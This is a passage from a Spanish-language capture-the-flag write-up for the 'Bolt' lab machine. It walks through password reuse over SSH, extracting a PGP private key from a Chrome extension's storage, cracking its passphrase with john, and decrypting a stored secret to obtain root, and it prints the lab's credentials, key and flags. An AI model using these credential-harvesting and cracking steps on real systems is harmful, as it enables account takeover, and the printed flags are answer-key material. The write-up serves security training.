| Field | Type | Null | Key | Default | Extra |
+-------------+------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| user_id | char(36) | NO | MUL | NULL | |
| resource_id | char(36) | NO | MUL | NULL | |
| data | mediumtext | NO | | NULL | |
| created | datetime | NO | | NULL | |
| modified | datetime | NO | | NULL | |
+-------------+------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
mysql> select * from secrets\G
*************************** 1. row ***************************
id: 643a8b12-c42c-4507-8646-2f8712af88f8
user_id: 4e184ee6-e436-47fb-91c9-dccb57f250bc
resource_id: cd0270db-c83f-4f44-b7ac-76609b397746
data: -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
created: 2021-02-25 21:50:11
modified: 2021-03-06 15:34:36
1 row in set (0.00 sec)
mysql> exit
En esta base de datos podemos encontrar los dos usuarios definidos en el sistema, y también un mensaje encriptado con PGP. La base de datos también contiene claves públicas, pero no son tan importantes.
Movimiento lateral al usuario eddie
Y otro nuevo punto muerto. Podemos tratar de cambiar al usuario eddie
con alguna de las contraseñas encontradas. Curiosamente, la contraseña rT2;jW7<eY8!dX8}pQ8%
(reutilizada en MySQL) funciona:
$ ssh eddie@10.10.11.114
eddie@10.10.11.114's password:
eddie@bolt:~$ cat user.txt
1d32df183e61b198aa42469ede79fd61
Habiendo capturado la flag user.txt
, podemos continuar listando los archivos que son propiedad de eddie
:
eddie@bolt:~$ find / -user eddie 2>/dev/null | grep -vE 'home|proc|sys|run|dev|tmp'
/var/mail/eddie
eddie@bolt:~$ cat /var/mail/eddie
From clark@bolt.htb Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
-Clark
Escalada de privilegios
Hemos encontrado un mensaje de correo interesante enviado por clark
para eddie
. Le dice que use una extensión del navegador y que guarde su clave privada.
Existen varios archivos relacionados con Google Chrome en el directorio personal de eddie
. Puede ser que la configuración de la extensión esté aquí.
Buscando una clave privada PGP
Podemos buscar por contenidos de PGP en el directorio personal:
eddie@bolt:~$ grep -r 'BEGIN PGP' ~
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js: if (!message.match(/-----BEGIN PGP MESSAGE-----/)) {
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PUBLIC_HEADER = '-----BEGIN PGP PUBLIC KEY BLOCK-----';
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PRIVATE_HEADER = '-----BEGIN PGP PRIVATE KEY BLOCK-----';
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: const reHeader = /^-----BEGIN PGP (MESSAGE, PART \d+\/\d+|MESSAGE, PART \d+|SIGNED MESSAGE|MESSAGE|PUBLIC KEY BLOCK|PRIVATE KEY BLOCK|SIGNATURE)-----$/m;
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP MESSAGE, PART X/Y
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP MESSAGE, PART X
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP SIGNED MESSAGE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP MESSAGE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP PUBLIC KEY BLOCK
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP PRIVATE KEY BLOCK
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP SIGNATURE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // cleartext signatures. Note that PGP 2.x uses BEGIN PGP MESSAGE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP MESSAGE, PART " + partindex + "/" + parttotal + "-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP MESSAGE, PART " + partindex + "-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("\r\n-----BEGIN PGP SIGNATURE-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP MESSAGE-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP SIGNATURE-----\r\n");
Binary file /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches
Después de mirar en varios archivos, se ve que el archivo binario contiene una clave privada PGP. Esta se puede mostrar usando strings
y filtrando por el formato de una clave privada:
eddie@bolt:~$ strings '/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log' | grep -oP '\-\-\-\-\-BEGIN PGP PRIVATE [\s\S]*?END PGP PRIVATE KEY BLOCK\-\-\-\-\-' | head -1
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a
If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB
AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW
UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua
jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA
iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac
2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj
QY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavtZZYOJkhsXaWf
DRe3Gtmo/npea7d7jDG2i1bn9AJfAdU0vkWrNqfAgY/r4j+ld8o0YCP+76K/
7wiZ3YYOBaVNiz6L1DD0B5GlKiAGf94YYdl3rfIiclZYpGYZJ9Zbh3y4rJd2
AZkM+9snQT9azCX/H2kVVryOUmTP+uu+p+e51z3mxxngp7AE0zHqrahugS49
tgkE6vc6G3nG5o50vra3H21kSvv1kUJkGJdtaMTlgMvGC2/dET8jmuKs0eHc
Uct0uWs8LwgrwCFIhuHDzrs2ETEdkRLWEZTfIvs861eD7n1KYbVEiGs4n2OP
yF1ROfZJlwFOw4rFnmW4Qtkq+1AYTMw1SaV9zbP8hyDMOUkSrtkxAHtT2hxj
XTAuhA2i5jQoA4MYkasczBZp88wyQLjTHt7ZZpbXrRUlxNJ3pNMSOr7K/b3e
IHcUU5wuVGzUXERSBROU5dAOcR+lNT+Be+T6aCeqDxQo37k6kY6Tl1+0uvMp
eqO3/sM0cM8nQSN6YpuGmnYmhGAgV/Pj5t+cl2McqnWJ3EsmZTFi37Lyz1CM
vjdUlrpzWDDCwA8VHN1QxSKv4z2+QmXSzR5FZGRpZSBKb2huc29uIDxlZGRp
ZUBib2x0Lmh0Yj7CwI0EEAEIACAFAmA4G2EGCwkHCAMCBBUICgIEFgIBAAIZ
AQIbAwIeAQAhCRAcJ0Gj3DtKvRYhBN9Ca8ekqK9Y5Q7aDhwnQaPcO0q9+Q0H
/R2ThWBN8roNk7hCWO6vUH8Da1oXyR5jsHTNZAileV5wYnN+egxf1Yk9/qXF
nyG1k/IImCGf9qmHwHe+EvoDCgYpvMAQB9Ce1nJ1CPqcv818WqRsQRdLnyba
qx5j2irDWkFQhFd3Q806pVUYtL3zgwpupLdxPH/Bj2CvTIdtYD454aDxNbNt
zc5gVIg7esI2dnTkNnFWoFZ3+j8hzFmS6lJvJ0GN+Nrd/gAOkhU8P2KcDz74
7WQQR3/eQa0m6QhOQY2q/VMgfteMejlHFoZCbu0IMkqwsAINmiiAc7H1qL3F
U3vUZKav7ctbWDpJU/ZJ++Q/bbQxeFPPkM+tZEyAn/fHwwYEYDgbYQEIAJpY
HMNw6lcxAWuZPXYz7FEyVjilWObqMaAael9B/Z40fVH29l7ZsWVFHVf7obW5
zNJUpTZHjTQV+HP0J8vPL35IG+usXKDqOKvnzQhGXwpnEtgMDLFJc2jw0I6M
KeFfplknPCV6uBlznf5q6KIm7YhHbbyuKczHb8BgspBaroMkQy5LHNYXw2FP
rOUeNkzYjHVuzsGAKZZzo4BMTh/H9ZV1ZKm7KuaeeE2x3vtEnZXx+aSX+Bn8
Ko+nUJZEn9wzHhJwcsRGV94pnihqwlJsCzeDRzHlLORF7i57n7rfWkzIW8P7
XrU7VF0xxZP83OxIWQ0dXd5pA1fN3LRFIegbhJcAEQEAAf4JAwizGF9kkXhP
leD/IYg69kTvFfuw7JHkqkQF3cBf3zoSykZzrWNW6Kx2CxFowDd/a3yB4moU
KP9sBvplPPBrSAQmqukQoH1iGmqWhGAckSS/WpaPSEOG3K5lcpt5EneFC64f
a6yNKT1Z649ihWOv+vpOEftJVjOvruyblhl5QMNUPnvGADHdjZ9SRmo+su67
JAKMm0cf1opW9x+CMMbZpK9m3QMyXtKyEkYP5w3EDMYdM83vExb0DvbUEVFH
kERD10SVfII2e43HFgU+wXwYR6cDSNaNFdwbybXQ0quQuUQtUwOH7t/Kz99+
Ja9e91nDa3oLabiqWqKnGPg+ky0oEbTKDQZ7Uy66tugaH3H7tEUXUbizA6cT
Gh4htPq0vh6EJGCPtnyntBdSryYPuwuLI5WrOKT+0eUWkMA5NzJwHbJMVAlB
GquB8QmrJA2QST4v+/xnMLFpKWtPVifHxV4zgaUF1CAQ67OpfK/YSW+nqong
cVwHHy2W6hVdr1U+fXq9XsGkPwoIJiRUC5DnCg1bYJobSJUxqXvRm+3Z1wXO
n0LJKVoiPuZr/C0gDkek/i+p864FeN6oHNxLVLffrhr77f2aMQ4hnSsJYzuz
4sOO1YdK7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT
4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h
J6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt
1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS
UCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU
Nsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf
QmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm
oRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg
6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/
Ic3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8
11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
Ahora, podemos informarnos sobre PGP, por ejemplo en Wikipedia. Las claves privadas se suelen proteger con una passphrase. Afortunadamente, existe una herramienta llamada gpg2john
que extrae un hash de la clave privada PGP para poder romperlo con john
:
$ gpg2john eddie.pgp | tee eddie.hash.pgp
File eddie.pgp
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::eddie.pgp
$ john --wordlist=$WORDLISTS/rockyou.txt eddie.hash.pgp
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas (Eddie Johnson)
1g 0:00:05:02 DONE 0.003307g/s 141.7p/s 141.7c/s 141.7C/s mike04..megan5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Descifrando un mensaje PGP
Ahora que tenemos la passphrase (merrychristmas
), podemos descifrar el mensaje encontrado anteriormente en una de las bases de datos de MySQL utilizando la clave privada PGP del usuario eddie
. Este paso se puede realizar con una herramienta online como PGP tool:
Como se ve en la captura anterior, el mensaje encriptado se descifra como {"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
. Esta contraseña permite acceder a la máquina como usuario root
y obtener la flag root.txt
:
eddie@bolt:~$ su root
Password:
root@bolt:/home/eddie# cat /root/root.txt
0efcfd934e37c153513612d761fe564d